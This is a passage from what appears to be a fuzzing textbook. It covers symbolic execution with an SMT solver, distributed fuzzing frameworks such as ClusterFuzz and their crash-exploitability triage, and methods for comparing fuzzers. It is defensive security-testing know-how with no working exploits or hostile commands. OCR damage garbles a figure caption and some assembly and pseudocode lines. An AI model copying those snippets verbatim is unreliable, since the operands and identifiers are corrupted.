values that a path can hold, instead of using random values as shown in Figure 7.26.

The first pass is applied to build each path condition and to generate all concrete
values that paths can hold.

The main disadvantages of this technique are the extra execution time and
the stability of the implementation. If one of the semantics is wrong, or if the path
formula is not complete, unreachable values are generated or equations will be
unsatisfiable. The benefit of DSE is providing smarter fuzzing, that achieves more
accurate results.

For instance, by extracting the part of the path condition of the last CFG and
appling a symbolic execution, the result can be presented as:

mov [rbp-0x4]1, edi #3 = (_ bvl 32) ; edi tainted

mov [rbp-0x10]1, rsi #4 = (_ bv140736503416592 64)

cmp [rbp-0x41, 0x0 #5 = (assert (= ((_ extract 31 0)#3) (_
bv0 32)))

jle 0x400666 #6 = (assert (bvugt ((_ extract 31 0)#3) (_
bv0 32)))

cmp [rbp-0x41, Ox2fff #7 = (assert (= ((_ extract 31 0)#3) (_
bv12287 32)))

jnle 0x400666 #8 = (assert (bvult ((_ extract 31 0)#3) (_
bv12287 32)))

mov eax, [rbp-0x4] #9 = 43

Restor:e
h S t
Snapshot Target napsho
function/bbl
y 4
> L
A

Possible paths in the target

Dynamic Symbolic Execution

—

Figure 7.26 Path conditions built with symbolic passes.




242

Advanced Fuzzing

7.8

In the reference symbolic engine, all instructions are translated into the SMT2 lan-
guage and reference-based expressions. The reference #9 (targeted register to fuzz)
points to the reference #3 (which is tainted). This reference is also tested in the last
two branches condition (#6 and #8). If these two branch conditions are extracted
and provided to the SMT solver, the model result is:

Request:
(set-logic QF_AUFBV)
(declare-fun SymVar_1 () (_ BitVec 32))

(assert (bvugt ((_ extract 31 0)SymVar_1)
(assert (bvult ((_ extract 31 0)SymVar_1)

(_ bv0 32)))

(_ bv12287 32)))
(check-sat)

(get-value (SymVar_1))

Answer:
sat
((SymVar_1 #x00000001))

The SMT solver gives us a valid model which is 0x1. At this point, there is a pos-
sibility to get every concrete value that the reference #9 can hold. This is why the
dynamic symbolic execution is helpful in some cases. As fuzzers strive to explore the
dark corners of code, solvers can help. They may run slower, but should ultimately
achieve better code coverage if properly built.

Distributed Fuzzing

Ben Nagy proposed a basic fuzzing formula in a kernel fuzzing talk he did at Rux-
Con.!’ He stated that the number of bugs discovered is equal to the probability of
finding a bug, multiplied by the number of tests run.

num_bugs = prob_to_find * number_of_tests

As such, when possible, a tester should try to influence both variables prob_to_find
and number_of_tests. The tester can zoom in on one little portion of the code and
increase the prob_to_find by tailoring the fuzzer to that code, but the number of
tests likely goes down. Or, you can do less intelligent fuzzing, and your prob_to_find
is likely lower, but if the tester does lots of tests, the total bugs discovered could
be the same as the number of tests for a dumb fuzzer can be as large as we like.
This is where fuzzing experience, available tools, and type of application come to
bear: the tester has to think about which makes more sense for a given situation.
Personal preference may even be a factor: some will prefer to go slow and try to
not miss any bugs, and ensure that each find is reproducible, and so forth. On the

Bhttps://www.youtube.com/watch?v=FY-33TUKIqY.
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other hand, another fuzzing pro may prefer to take the approach of going as fast as
possible, preferring randomness and scale, rather than exhaustive test case genera-
tion. The neat thing: for sufficiently complex applications, each approach is likely
to find many bugs, and often the two approaches will find different kinds of bugs.

In the spirit of the second approach, this chapter is about distributed fuzzing.
We will discuss some considerations and case studies for creating a farm, cluster,
or cloud of fuzzing nodes to distribute the work load of fuzzing, in an effort to
increase the number of bugs found in a given time period.

Oftentimes, distributing a fuzzing load involves giving a portion of the total
job to separate virtual machines in a cloud-like setup. That cloud could be geared
toward just one application, or could accommodate fuzzing multiple applications.
For example, Google’s ClusterFuzz project is a distributed fuzzing service originally
designed for the open-source Chromium project, whereas, one of the authors also
created a project called ClusterFuzz (CF) (the same project name is pure coincidence
as far as we know—both were released around mid-2012), but DeMott’s CF was
able to geared toward fuzzing a variety of closed-source applications. Obviously,
Google ClusterFuzz would likely be better for finding bugs in Chrome, while the
later benefited from more general use, and was geared differently for closed-source
postmortem analysis. Let’s examine each of these two tools in greater detail.

7.8.1 Distributed Fuzzing: Google’s ClusterFuzz

Google has created a fuzzing infrastructure they call ClusterFuzz. It is probably
one of the more useful, and practical applications of distributed fuzzing in terms of
application security. That is, the whole platform is geared around helping developers
find and fix bugs. Whereas other fuzzing tools, have been used more by security
researchers poking at closed-source binaries.

Originally created to help secure their Chrome Web browser, Google is using
scale of ClusterFuzz to secure other components relevant for many of our online
activities. The newest addition to Google’s ClusterFuzz project is OSS-Fuzz.1¢ OSS-
Fuzz was published as a beta program at the end of 2016. The goal of the program
is to make common software infrastructure more secure and stable by providing
a massive distributed fuzzing environment for widely used open-source projects.
The fuzzing environment is powered by Google ClusterFuzz infrastructure and at
the time of the release it was executing approximately 4 trillion test cases per week.

Google’s fuzzing infrastructure is built on top of a pool of several hundred vir-
tual machines (VMs). With that kind of volume, there would be too much output if
they just automated the test case generation and crash detection. That’s why Google
has also automated the entire fuzzing pipeline, including the following processes:

* Managing test cases and infrastructure: To run at maximum capacity they
need to generate a constant stream of test cases, distribute them across thou-
sands of instances running on hundreds of virtual machines, track the results,
and collect code coverage feedback.

https://testing.googleblog.com/2016/12/announcing-oss-fuzz-continuous-fuzzing.html.
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* Analyzing crashes: ClusterFuzz executes test cases on multiple different plat-
forms, using different instrumentation tools like AddressSanitizer, to detect
different types of bugs. Those bugs are bucketed to filter out duplicates and
issues that cannot be reproduced.

* Minimizing test cases: Fuzzer test cases are often very large files—usually as
much as several hundred kilobytes each. Because of this, they take the gener-
ated test cases and distill them down to the few, essential pieces that actually
trigger the crash. This may also be called test case reduction.

» Identifying regressions: The first step in getting a crash fixed is figuring out
where it is and who should fix it. So this phase tracks the crash down to the
range of changes that introduced it.

« Verifying fixes: In order to verify when a crash is actually fixed, it will run
the open crash cases against each new LKGR build.

In addition to manageability, this level of scale and automation provides a very
important additional benefit. By aggressively tracking the LKGR builds, ClusterFuzz
also implements a real-time security regression detection capability.

7.8.2 Distributed Fuzzing: DeMott’s ClusterFuzz

DeMott’s ClusterFuzz (CF) is a distributed computing framework that facilitates
fuzzing of larger data input sets. See DeMott’s dissertation'” to see how it was also
used as a front end to a postmortem crash analysis tool for a technique calledfault-
localization. ClusterFuzz does fuzzing in parallel, making fuzzing more efficient,
and does not require source code or a test set to generate tests. The speed-up is lin-
ear as resources are added to CF; for example, a fuzzing run that would have taken
200 days on one computer can be done in 1 day on 200 virtual machines in CF.

Once an application has been fuzzed and bug results have been generated,
ClusterFuzz proceeds to do further evaluation of the results. First, it examines the
generated bugs and attempts to cluster them based on the similarity. Second, it
attempts to rate the severity of the observed bugs.

Figure 7.27 shows the high-level design for ClusterFuzz. Each of the major sec-
tions from the diagram is briefly described below.

Configure. The first thing the bug hunter does is choose a target to fuzz. That
target, also known as the system under test, must then be properly installed in a
base virtual machine (VM). Windows XP was used for the base VM operating
system (OS) as it is easier to configure and requires fewer resources. Windows in
general was chosen both because the Peach fuzzing tool, which is used in this work,
operates best under Windows, and because many interesting targets to fuzz, such
as Microsoft’s Internet Explorer, reside only on Windows. However, it is possible
to use a different base OS and a different fuzzer with ClusterFuzz. Next, the test
configuration must be constructed specifically for the SUT. The test configuration
specifies all the details surrounding the setup of the SUT: input types, execution

7http://www.vdalabs.com/tools/DeMott_Dissertation.pdf.
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Configure base computer image

Configure fuzzer
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Virtualization Servers

Start job 1 on cluster 1 (50 VMs)

::: Start job 2 on cluster 2 (25VMs)
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Notes: “Not exploitable on Linux, because...”

Figure 7.27 DeMott’s ClusterFuzz.

requirements, and so forth. The test configuration includes the data model (DM),
which describes the protocol required for intelligent fuzzing (if desired). To aid the
user, a GUI was created, which includes an option to automatically create a simple
mutation DM, thus bypassing the manual work of protocol description. The base
DM often yields reasonable results because the input samples are intelligently gath-
ered (using Auto-MinSet described below). A common practice is to run the base
DM initially and then later design a custom DM for the particular application if
budget allows.

Run. The present setup has six VMware ESX 4.0 virtualization servers. Based
on current hardware, each of the servers can handle approximately 25 virtual
machines cloned from the base image. Therefore, 150 VMs are running on hard-
ware that cost $30,000 USD when procured (October 2009). In practice, this is less
expensive and easier to manage than buying 150 machines. Each virtual machine
has generous amounts of RAM and CPU cycles. These VMs may be used for a
variety of purposes, such as:

 Auto-MinSet is a technique created as part of this research to find good input
samples from the internet for a given file format protocol. Auto-MinSet uses code
coverage to find an optimal test set from samples, which were automatically
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searched for and downloaded. The method for choosing samples wisely is referred
to as MinSet, since the goal is to select the minimum set of files that obtains that
maximum amount of code coverage. The MinSet subroutine in Algorithm 7.1
provides the details briefly described here, MinSet:
1. Gathers a list of inputs and locates the input that covers the most code.
2. Next, the covered regions of each input are tested against the pool of
regions covered thus far. If new regions are covered, the input is deemed
worthy to be added to the minimum set of desired inputs. Otherwise,
that input is discarded.
* Auto-Retest, which checks the reliability of discovered bugs.
* Fuzzing.

Collect. Once the fuzzing sessions have completed, the ordered (from !exploit-
able, described in the next section) bug results are collected. The CF GUI provides a
convenient way for analysts to view each bug and create notes as they work through
the pipeline of results. CF is described again in Algorithm 7.1.

Algorithm 7.1.  ClusterFuzz: Bug Hunting and Analysis System

Input: A test configuration controls the fuzzing of each system under test and is also
typically used to automatically fetch good inputs. Each data sample in the collected
set of Inputs is fuzzed to create a broad set of test inputs. Fuzzed permutations of
an input 7 are denoted as i’. The most common EXCEPTION sought is a memory
access violation.

Output: Reliable, severe, and unique bugs (defined shortly) are sorted (in bins) in
the set Results

Inputs=DownloadSamples(Test_Configuration );
Inputs=MinSet(Test_Configuration );
for each input 7 in Inputsdo
for each fuzzedpermutation 7’ of 7do
result, exception_data = Test(Test_Configuration, i);
if(result) == EXCEPTION
then
logs=Log(exception_data, 1", 1)
end
end
end

Results = Combine_Bugs_from_VMs (Togs);

Results = Order_Within_Bins(Results);

Results = AutoRetest(Results);
Subroutine MinSet(Inputs):

largest, coverage = set();

CC = dictionary{ input: BasicBlocks}

for each input 7 in Inputsdo

CC[i] = Get_Set_of_BBs_Executed(7);
iflength(largest)<length(CC[i])
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then

largest = CC[1];
end
end

minset = [ 1;
coverage = |

for each input 7 in Inputsdo
if any of CC[7] not in coverage
then
minset += 7;
coverage.update(CC[1])
end
end
Return minset

To demonstrate the robustness of ClusterFuzz, it was tested on a variety of com-
mercial, closed-source software. The following are applications and data formats
that have been fuzzed using ClusterFuzz:

+ Client-side applications
- Browsers
- Internet Explorer, Chrome, Firefox, Safari, Opera
- Office Applications
- Writer (Open Office), Word (Microsoft Office), Adobe Reader, Adobe
Flash Player, Picture Manager (Microsoft Office)
- Other
- iTunes, QuickTime, Java, VLC Media Player, Windows Media Player,
RealPlayer
« File formats
Images
~ JPG, BMP, PNG, TIFF, GIF
Video
- AVI, MOV
Office
- DOC, DOCX, XLS, XLSX, ODT
- Adobe
~ PDF, SWF

Statistics were gathered over one month of running CF on the previously listed
applications, providing many of the file formats as input. Not every combination
produced a fault, but when faults were noted they were recorded as collective results,
which are as follows:

* 141,780 faults total
- faults/day: 4,726
- faults/hour: 197
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« 828 total unique fault bins
- 17 “Exploitable” bins
- 6 “Probably exploitable” bins
- 0 “Probably not exploitable” bins
- 805 “Unknown” bins
- Unique fault bins/day: 28
- Unique bins “probably exploitable” or “exploitable” /day: 0.9

Many observed faults are actually manifestations of the same fault, which is
why the word “bin” is used above to show each grouping of bugs. Classifying faults
is important to reduce downstream effort and a tool exists to do just that.

The lexploitable tool is a Windows debugging (Windbg) extension that provides
automated crash analysis, security risk assessment, and guidance. The tool uses a
hash to uniquely identify a crash and then assigns one of the following exploitability
ratings to the crash: Exploitable, Probably Exploitable, Probably Not Exploitable,
or Unknown. In an attempt to identify the uniqueness of each bug, two hash types
are provided: major and minor. The difference is that the minor hash hashes more
of the stack information, and therefore attempts to provide a finer amount of detail
when sorting bugs.

The data shown above helps illustrate how !exploitable works, and the impor-
tance of filtering in fuzzing. While there may be many crashes, often there are many
fewer unique and security-critical bugs. These high quality bugs are what developers
and bug exploiters usually want to focus on. In this research, high quality (HQ)
is defined as: reliable (repeatable when retested) and severe (a rating of Probably
Exploitable or higher).

On top of the classification provided by !exploitable, CF also collects and stores
relevant crash information such as the registers used and nearby disassembly code
in the database. This information allows researchers to later search for particular
register patterns as they become widely known. For example, when the Intel regis-
ters ECX and EIP contain the exact same value that is a condition that may indicate
the presence of an exploitable C++ structured exception handler (SEH) overwrite.

The !exploitable output provides a rough sorting mechanism according to type
and severity. However, by looking back at Figure 7.26, notice that each unique
grouping of bugs must still be analyzed in the final section marked “work.” Fur-
ther information about the crash such as the location of the actual erroneous code
block (fault localization) and other metadata (visualizing blocks covered, etc.) can
expedite the analysis process.

Summary

This chapter discussed advanced fuzzing techniques, fuzzing engines, and scalable
fuzzing frameworks used to find bugs in modern software. Generation fuzzers with
high code coverage (CC) perform the best, but the issue focused on in this chapter is
developing methods to automatically generate data, so this doesn’t have to be done
manually. The focus was on technologies that automatically increase CC by either
solving branch constraints or by evolving groups of inputs.
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Fuzzer Comparison

8.1

In this book, we’ve discussed a number of different ways to fuzz systems as well as
numerous implementations of these ideas. We’ve talked about ways to place fuzz-
ing technologies into your SDLC and how to measure their success. This chapter is
focused on comparing and contrasting some different fuzzers that were available
at the time when the first edition of this book was written. Although the fuzzers
presented are not considered cutting edge anymore, the results can still help you
when deciding which type of fuzzer would be best for your situation given your
individual time and money constraints.

Fuzzing Life Cycle

Some fuzzers are simple input generators. Some consist of an entire framework
designed to help with the many stages of fuzzing. Let’s take a closer look at all the
necessary steps required to conduct fuzzing in order to get a better understanding
of the fuzzers we are going to compare.

8.1.1 Identifying Interfaces

Given a target system, we need to identify all the interfaces that accept outside input.
An example of such an interface may be a network socket consisting of a protocol
(TCP or UDP) along with a port number. Another option may be a specially format-
ted file that is read by the system. In order to increase the testing coverage, all these
interfaces need to be identified before you begin fuzzing. Sometimes these interfaces
will not be obvious. For example, most Web browsers not only parse HTTP, but
also FTP, RTSP, as well as various image formats.

8.1.2 Input Generation

The heart and soul of a fuzzer is its ability to create fuzzed inputs. As we’ve dis-
cussed, there are a large variety of different ways in which to create these test cases.
We’ll step through some of the different ways to generate fuzzed inputs, starting
from those that have little or no knowledge of the underlying protocol or structure
of the input and advancing to those that possess a near complete understanding of
the structure of the inputs.

The most basic way to create anomalous input is to simply supply purely random
data to the interface. In theory, given enough time, completely random data would
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result in all possible inputs to a program. In practice, time constraints limit the
effectiveness of this approach. The result is, that due to its simplicity, this approach
is unlikely to yield any significant results.

Another way to generate inputs is to use a mutation-based approach. This method
consists of first gathering valid inputs to the system and then adding anomalies to
these inputs. These valid inputs may consist of a network packet capture or valid
files or command line arguments, to name a few. There are a variety of ways to add
anomalies to these inputs. They may be added randomly, ignoring any structure
available in the inputs. Alternatively, the fuzzer may have some built-in knowledge
of the protocol and be able to add the anomalies in a more intelligent fashion. Some
fuzzers present an interface, either through a programming API or a GUI, in which
information about the format of the inputs can be expressed to the fuzzer. More
sophisticated fuzzers attempt to automatically analyze the structure of the inputs
and identify common format occurrences and protocol structures, for example,
ASN.1. Regardless of how it actually occurs, these types of fuzzers work on the
same general principle: start from valid inputs and add a number of anomalies to
the inputs to generate fuzzed inputs.

Generation-based fuzzers do not require any valid test cases. Instead, this type
of fuzzer already understands the underlying protocol or input format. They can
generate inputs based purely on this knowledge. Obviously, the quality of the fuzzed
inputs is going to depend on the level of knowledge the fuzzer has about the under-
lying input format. Generation-based fuzzers, such as Peach, SPIKE and Sulley,
offer a framework in which the researcher can read the documentation, write a
format specification, and use the framework to generate fuzzed inputs based on the
specification. Writing such a specification can be a major undertaking requiring
specialized knowledge and sometimes hundreds of hours of work for complicated
protocols. Since most people lack the specialized knowledge or time to write such
protocol descriptions, commercial vendors exist who provide fuzzers that understand
many common protocols. A drawback of these solutions is if you are interested in
testing an obscure or proprietary format, the fuzzer may not be preprogrammed
to understand it.

8.1.3 Sending Inputs to the Target

After the fuzzed inputs have been generated, they need to be fed into the system’s
interfaces. Some fuzzers leave this up to the user. Most supply some method of
performing this job. For network protocols, this may consist of a way to repeat-
edly make connections to a target server, or alternatively, listening on a port for
incoming connections for client-side fuzzing. For file format fuzzing, this may
entail repeatedly launching the target application with the next fuzzed file as
an argument.

8.1.4 Target Monitoring

Once the fuzzing has begun, the target application must be monitored for faults.
After all, what good is creating and sending fuzzed inputs if you don’t know when
they’ve succeeded in causing a problem? Again, some fuzzers leave this up to user.
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Other fuzzers offer sophisticated methods of monitoring the target application
and the system on which they are running. The most basic method is to simply run
the target application under a debugger and monitor it for crashes or unhandled
exceptions. More sophisticated monitoring solutions may consist of the fuzzer being
able to telnet or ssh into the target system and monitor the target application, logs
files, system resources, and other parameters. Additionally, the fuzzer may launch
arbitrary user-written monitoring scripts. The more advanced the monitoring being
performed, the more vulnerabilities will be discovered. More advanced monitoring
should also speed up analysis, because it may be able to determine exactly which
input (or set of inputs) caused a particular error condition. Another important
function that a target monitoring service can provide is the ability to automatically
restart the target. This may be as simple as restarting an application or as com-
plicated as power cycling a device or restoring a virtual machine from a snapshot
of a known good state. Such automated monitoring of the target allows for long,
unsupervised fuzzing runs.

8.1.5 Exception Analysis

After the actual inputs have been sent to the target and the dust has cleared, it is
time to figure out if any vulnerabilities have been discovered. Based on the amount
of target monitoring that has taken place, this may require a lot of work on the
part of the user, or it may be pretty much finished. Basically, for each crash or error
condition discovered, the smallest sequence of inputs that can repeat this fault must
be found. After this, it is necessary to partition all the errors to find how many
are unique vulnerabilities. For example, one particular bug in an application, say
a format string vulnerability, may be reachable through many different externally
facing functions. So, many test cases may cause a crash, but in actuality they all
point to the same underlying vulnerability. Again, some fuzzers provide tools to
help do some of this analysis for the user, but oftentimes this is where the analyst
and developers will spend significant amounts of time.

8.1.6 Reporting

The final step in the process of fuzzing is to report the findings. For fuzzing con-
ducted during application development, this may involve communicating with the
development team. For fuzzing conducted as part of an outside audit by consultants,
this may be a document produced for the client. Regardless of the intent, some fuzz-
ers can reduce the burden by providing useful statistics, graphs, and even example
code. Some fuzzers can produce small binaries that can be used to reproduce the
errors for use by development teams.

Evaluating Fuzzers
As the last section discussed, fuzzers can vary from simple input generators to

complex frameworks that perform program monitoring, crash dump analysis, and
reporting. Therefore, it is difficult to compare fuzzers as they offer such a wide
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range of features. We wanted to stay away from a fuzzer feature review or usabil-
ity study. Instead, we will narrow our focus on which fuzzers can create the most
effective fuzzed inputs for a variety of protocols. Even this less ambitious goal is
still difficult. How exactly do you measure which fuzzer generates the most effec-
tive fuzzed inputs?

8.2.1 Retrospective Testing

Perhaps the most straightforward approach to evaluating a fuzzer’s effectiveness is
using a testing methodology borrowed from the antivirus world called retrospective
testing. In this form of comparison, a particular time period of testing is selected, say
six months. In this example, fuzzers from six months ago would be archived. Then,
this six-month period would be analyzed closely for any vulnerabilities discovered
in any implementation of a protocol under investigation. Finally, the old versions
of the fuzzers would be used to test against these now-known-flawed implementa-
tions. A record would be kept as to whether these older fuzzers could discover these
now-known vulnerabilities. The longer the retrospective time period used, the more
vulnerabilities will have likely been discovered, and thus the more data would be
available. The reason that old versions of the fuzzers need to be used is that fuzz-
ers may have been updated to look for particular vulnerabilities that have emerged
recently. It is common practice for fuzzers to be tested to see why they failed to find
a particular vulnerability; once the deficiency is identified, they are updated to find
similar types of flaws in the future. An example of this is with the Microsoft .ANI
vulnerability discovered in April 2007. Michael Howard of Microsoft explains how
their fuzzers missed this bug but were consequently improved to catch similar mis-
takes in the future: “The animated cursor code was fuzz-tested extensively per the
SDL requirements, [But] it turns out none of the .ANI fuzz templates had a second
‘anih’ record. This is now addressed, and we are enhancing our fuzzing tools to
make sure they add manipulations that duplicate arbitrary object elements better.”!

Retrospective testing is appealing because it measures whether fuzzers can find
real bugs in real applications. However, there are many serious drawbacks to this
type of testing. The most obvious is that the testing will be conducted on an old
version of the product, in the example above, a version that is six months out of
date. A product can have significant improvements in this time period that will be
missed with this form of testing. Another major deficit is the small amount of data
available. In a given six-month time period, there simply aren’t that many vulner-
abilities announced in major products.

It is hard to draw conclusions in a comparison using such a small data set. This
problem can be mitigated somewhat by increasing the retrospective time period.
However, as we mentioned, increasing this time period also increases the amount of
time the product is behind the state of the art. For these reasons, we did not carry
out this form of testing.

'blogs.msdn.com/sdl/archive/2007/04/26/lessons-learned-from-the-animated-cursor-securitybug.
aspx.
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8.2.2 Simulated Vulnerability Discovery

A method with some of the benefits of retrospective testing but with a larger data
set available is called simulated vulnerability discovery. In this form of testing, a
particular implementation is selected. An experienced vulnerability analyst then goes
in and adds a variety of vulnerabilities to this implementation.? A different analyst
proceeds to fuzz these flawed implementations in an effort to evaluate how many
of these bugs are rediscovered. It is important to have different analysts conduct
these two portions of the testing to remove any potential conflict in the configura-
tion and setup of the fuzzers.

Simulated vulnerability discovery has the advantage of having as much data
available as desired. Like retrospective testing, it also tests the fuzzer’s ability to
actually find vulnerabilities, even if they are artificial in nature. The biggest criti-
cism is, of course, exactly the artificialness of the bugs. These are not real bugs in
a real application. They will depend heavily on the experiences, knowledge, and
peculiarities of the particular analyst that added them. However, even if the bugs
are artificial, they are all still present in the target application and all the fuzzers
have the same opportunity to find (or miss) them. We utilized this type of testing
and the results are presented later in this chapter.

8.2.3 Code Coverage

Another method of testing the effectiveness of a fuzzer is to measure the amount of
code coverage it achieves within the target application. The application is instru-
mented in such a way that the number of lines executed is recorded. After each
fuzzer runs, this information is gathered, and the number of lines executed can be
examined and compared. While the absolute numbers involved from this metric are
fairly meaningless due to the lack of information regarding the attack surface, their
relative size from each fuzzer should shed some insight into which fuzzers cover
more code and thus have the opportunity to find more bugs.

Code coverage data is relatively straightforward to obtain and analyze. There
are many weaknesses to using it as a metric to compare fuzzers, though. For one,
unlike the other forms of testing discussed, this does not actually measure how
good the fuzzer is at finding bugs. Instead, it is a proxy metric that is actually
being used to measure how much of the target application was not tested. It is up
for debate whether high levels of code coverage by a fuzzer indicate it was effective.
Just because a line is executed by the fuzzer doesn’t necessarily mean it is tested. A
prime example is standard nonsecurity regression tests. These will get good code
coverage, but they are not doing a good job of fuzzing. However, it is certainly the
case that those lines of code not executed by the fuzzer containing vulnerabilities
will not be discovered by that fuzzer. We use this form of comparison as well and
consider later how it helps to validate our simulated vulnerability discovery testing.

2Thanks to Jake Honoroff of Independent Security Evaluators for adding the vulnerabilities in this
study.
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8.2.4 Caveats

Please keep in mind that these results may not necessarily reflect which fuzzer is
right for a particular project. For example, sometimes funding will limit your choice
to open-source fuzzers. Perhaps it is difficult to monitor the application or there is
little follow-up time available. In this case, it may be better to use a fuzzer that is
slightly less effective at generating test cases but has strong monitoring and post-
analysis tools. Also, whether you are fuzzing a common protocol or an obscure or
proprietary protocol will have an impact on your choice because some commercial
fuzzers cannot handle these situations. Finally, this comparison only takes place
over a few protocols and relies heavily on the types and placements of the vulner-
abilities added for the simulated vulnerability discovery. That said, we feel the
results are valid and the consistent results we obtain from the two methods used
for comparison validate each other.

Introducing the Fuzzers

For this testing, we selected a variety of open-source and commercial fuzzers. Some
are similar in design to one another and others are quite different. While you may
not choose to use one of these exact fuzzers, hopefully you can learn by comparing
the types of fuzzers and their demonstrated strengths and weaknesses as you build
or choose the fuzzer you will eventually use.

8.3.1 GPF

The General Purpose Fuzzer (GPF) is an open-source fuzzer written by one of the
authors of this book. It is a mutation-based network fuzzer that can fuzz server
or client applications. It has many modes of operation, but primarily works from
a packet capture. A valid packet capture needs to be obtained between the target
application and its server or client. At this point, GPF will continuously add anoma-
lies to the packets captured and replay them at the target application. GPF parses
the packets and attempts to add the anomalies in as intelligent a way as possible. It
does this through the use of tokAids. tok Aids are implemented by writing C pars-
ing code and compiling it directly into GPF. Using built-in functions, they describe
the protocol, including such features as length fields, the location of ASCII strings,
and the location and types of other delimiters. There are many prebuilt tokAids
for common protocols available in GPF. There are also generic ASCII and binary
tokAids for protocols GPF does not understand and that users don’t wish to imple-
ment themselves.

There is one additional mode of operation of GPF called SuperGPF. This mode
only works against servers and only with ASCII-based protocols. It takes as an argu-
ment a file with many anchors from the protocol. For example, against SMTP the
file might contain terms like “HELO,” “MAIL FROM,” “RCPT TO,” and so forth.
GPF then modifies the initial packet capture file and injects many of these protocol-
specific terms into the initial packet exchange on disk. It then launches a number
of standard GPF processes using these modified packet captures as its initial input.
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GPF does not have any monitoring of analysis features.

8.3.2 TAOF

The Art of Fuzzing (TAOF) is an open-source, mutation-based, network fuzzer
written in Python. It, too, works from an initial packet capture. However, unlike
GPF, instead of giving a file that contains a packet capture, TAOF captures pack-
ets between the client and server by acting as a man-in-the-middle. These captured
packets are then displayed to the user. TAOF doesn’t have knowledge of any proto-
cols. Instead, it presents the packets to the user in a GUI, and the user must dissect
the packets and inform TAOF of the packet structure, including length fields. The
amount of work in doing this is comparable to writing a tokAid in GPF and can
take several hours (or more). The types of anomalies that will be injected into the
packets are also configurable. One drawback of TAOF is that in its current imple-
mentation, it cannot handle length fields within another length field. The result is
that many binary protocols cannot be fuzzed, including any based on ASN.1.
TAOF does not have any monitoring or analysis features.

Abstract Syntax Notation One (ASN.1)

Abstract Syntax Notation One (ASN.1) is a formal language for abstractly
describing messages to be exchanged among an extensive range of applications.
There are many ways of using ASN.1 to encode arbitrary data, but the simplest

is called Basic Encoding Rules (BER). Data normally comes with an identifier, a
length field, the actual data, and sometimes an octet that denotes the end of the
data. Of course, these ASN.1 values can be nested arbitrarily, which can make for a
complicated parsing algorithm.

Programs that implement ASN.1 parsers have a long history of security
vulnerabilities. Microsoft’s ASN.1 libraries have had critical bugs more than once.
The open-source standard OpenSSL has also had critical security vulnerabilities.
In 2002, an ASN.1 vulnerability within the SNMP protocol affected over fifty
companies including Microsoft, Nokia, and Cisco. There were very few internet-
connected systems that were not vulnerable. The irony is that ASN.1 is used in
security protocols such as Kerberos and in security certificates.

8.3.3 ProxyFuzz

ProxyFuzz is exactly what it claims it is—a proxy server that fuzzes traffic. It is

incredibly easy to set up and use. Simply proxy live traffic between a client and

server through ProxyFuzz and it will inject random faults into the live traffic. Proxy-

Fuzz does not understand any protocols and no protocol specific knowledge can

be included with it (without making fundamental changes to its design). While it is

easy to set up and use, its lack of protocol knowledge may hinder its effectiveness.
ProxyFuzz does not have any monitoring or analysis features.



256

Fuzzer Comparison

8.3.4 Mu-4000

The Mu-4000 is an appliance-based fuzzer from Mu Dynamics (acquired by Spirent).3
It is a generation-based fuzzer that at the time of testing understood approximately
55 different protocols. It is placed on the same network as the target system and
configured and controlled via a Web browser. Within the protocols that it under-
stands, it is extremely easy to use and is highly configurable. Options such as which
test cases are sent at which timing periods can be precisely controlled. Furthermore,
the Mu-4000 can be used as a pure proxy to send test cases from other fuzzers in
order to use its monitoring functions, but otherwise cannot learn or be taught new
or proprietary protocols. In other words, unlike the open-source fuzzers discussed
above, which still work on proprietary protocols, albeit less effectively, the Mu-4000
can only be used against protocols it understands. Another drawback is that, the
Mu-4000 can only be used to fuzz servers and cannot fuzz client-side applications.

One of the strengths of the Mu platform is its sophisticated monitoring abilities.
It can be configured to ssh into the target machine and monitor the target process,
system and application logs, and system resources. It can restart the application
when the need arises and report exactly what fault has occurred. Another feature
is that, when an error does occur in the target, it will replay the inputs until it has
narrowed down exactly which input (or inputs) caused the problem.

8.3.5 Codenomicon Defensics

Defensics is a generation-based fuzzer from Codenomicon Ltd. which was acquired
by Synopsys in 2015.% At the time of the analysis, it had support for over 130 pro-
tocols. As is the case with the Mu-4000, it had no ability to fuzz any protocols for
which it does not already have support, although later Defensics traffic capture
mutators and the new SDK features (see Chapter 7) fix that shortcoming. It can be
used to fuzz servers, clients, and even applications that process files. It is executed
and controlled through a graphical Java application.

Defensics can be configured to send a valid input between fuzzed inputs and
compare the response to those in the past. In this way it can detect some critical
behavioral faults such as the Heartbleed bug where the SUT replied with memory
contents when fuzzed. It can also run custom external monitoring scripts. However,
at the time of the analysis it didn’t have any built-in monitoring or analysis features.

8.3.6 beSTORM

beSTORM from Beyond Security is another commercial fuzzer that can handle
network or file fuzzing.® At the time of the examination, it contained support for
almost 50 protocols. However, unlike the other commercial offerings, it could be
used for fuzzing of proprietary and unsupported protocols. This is done through a

3Based on private communications, the Mu Dynamics fuzzer product is discontinued at Spirent and has
been replaced with CyberFlood. Read more at https://www.spirent.com/Newsroom/Press_Releases/
Releases/2016/August/Spirent-Introduces-CyberFlood.
“https://www.synopsys.com/software-integrity/products/intelligent-fuzz-testing.html.
Shttp://www.beyondsecurity.com/bestorm.html.
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GUI interface similar, but more sophisticated than, that found in TAOF. A network
packet capture, or in the case of file fuzzing, a file, is loaded into beSTORM. This
valid file can then be manually dissected. Alternatively, beSTORM has the ability
to automatically analyze the valid file and determine significant occurrences such
as length fields, ASCII text, and delimiters. Once the unknown protocol is under-
stood by beSTORM, it then fuzzes it using a large library of heuristics. beSTORM
also supports the ability to describe a protocol specification completely in XML.
The beSTORM fuzzer also possesses sophisticated monitoring capabilities. It
can remotely talk to a monitoring tool that, at the very least, monitors the target for
crashes or exceptions. Using this knowledge, this information can be passed back to
the fuzzer to help determine exactly what input caused an error in the application.

8.3.7 Application-Specific Fuzzers

When possible, we included protocol-specific fuzzers in the evaluation. This includes
FTPfuzz, a GUI-based FTP fuzzer, and the PROTOS SNMP test suite. The PROTOS®
project at the University of Oulu developed several protocol-specific pregenerated
test suites for selected protocols many years ago. The PROTOS SNMP test-suite
was the tool used to discover the ASN.1 bugs mentioned in the sidebar.

8.3.8 What is Missing

This study excluded some well-known open-source fuzzers including SPIKE, Sulley,
and Peach. This is because these are fuzzing frameworks and not really ready-made
protocol specific fuzzers. They allow a user to generate fuzzed inputs based on a
specification file. If you attempted to test one of these fuzzers using the strategies
outlined in the chapter, you'd really be testing that particular format specification,
and not the actual framework itself. For this reason, and the fact it can take weeks
to produce a through specification file, these fuzzers were excluded. At the time of
the analysis, Sulley already contained sophisticated monitoring and analysis tools,
and SPIKE had layer 2 support.

The Targets

Three protocols were chosen for testing: FTP, SNMP, and DNS. They are extremely
common, for the most part they are relatively simple, and between them, they rep-
